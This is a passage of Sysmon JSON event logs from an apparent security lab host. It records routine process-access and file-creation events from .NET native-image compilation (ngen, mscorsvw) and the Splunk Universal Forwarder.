12:01:37.385","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A1-5F2D-0000-00102D270B00}","TargetProcessId":"4424","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6877,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.385\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-42A1-5F2D-0000-001026270B00}\r\nTargetProcessId: 4112\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.385","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-42A1-5F2D-0000-001026270B00}","TargetProcessId":"4112","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6878,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.401\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A1-5F2D-0000-00102D270B00}\r\nTargetProcessId: 4424\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.401","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A1-5F2D-0000-00102D270B00}","TargetProcessId":"4424","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6879,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:37.541\r\nProcessGuid: {90617006-42A1-5F2D-0000-00102D270B00}\r\nProcessId: 4424\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1148-0\\Microsoft.Build.Conversion.v4.0.dll\r\nCreationUtcTime: 2020-08-07 12:01:37.541","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:37.541","ProcessGuid":"{90617006-42A1-5F2D-0000-00102D270B00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1148-0\\Microsoft.Build.Conversion.v4.0.dll","CreationUtcTime":"2020-08-07 12:01:37.541","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6880,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.572\r\nSourceProcessGUID: {90617006-42A1-5F2D-0000-001026270B00}\r\nSourceProcessId: 4112\r\nSourceThreadId: 1944\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.572","SourceProcessGUID":"{90617006-42A1-5F2D-0000-001026270B00}","SourceProcessId":"4112","SourceThreadId":"1944","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6881,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.588\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A1-5F2D-0000-0010A32C0B00}\r\nTargetProcessId: 3812\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.588","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A1-5F2D-0000-0010A32C0B00}","TargetProcessId":"3812","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6882,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A1-5F2D-0000-0010A32C0B00}\r\nTargetProcessId: 3812\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A1-5F2D-0000-0010A32C0B00}","TargetProcessId":"3812","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6883,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A1-5F2D-0000-0010A32C0B00}\r\nTargetProcessId: 3812\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A1-5F2D-0000-0010A32C0B00}","TargetProcessId":"3812","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6884,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.650\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A1-5F2D-0000-0010F32F0B00}\r\nTargetProcessId: 2988\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.650","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A1-5F2D-0000-0010F32F0B00}","TargetProcessId":"2988","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6885,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.650\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A1-5F2D-0000-0010F32F0B00}\r\nTargetProcessId: 2988\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.650","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A1-5F2D-0000-0010F32F0B00}","TargetProcessId":"2988","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 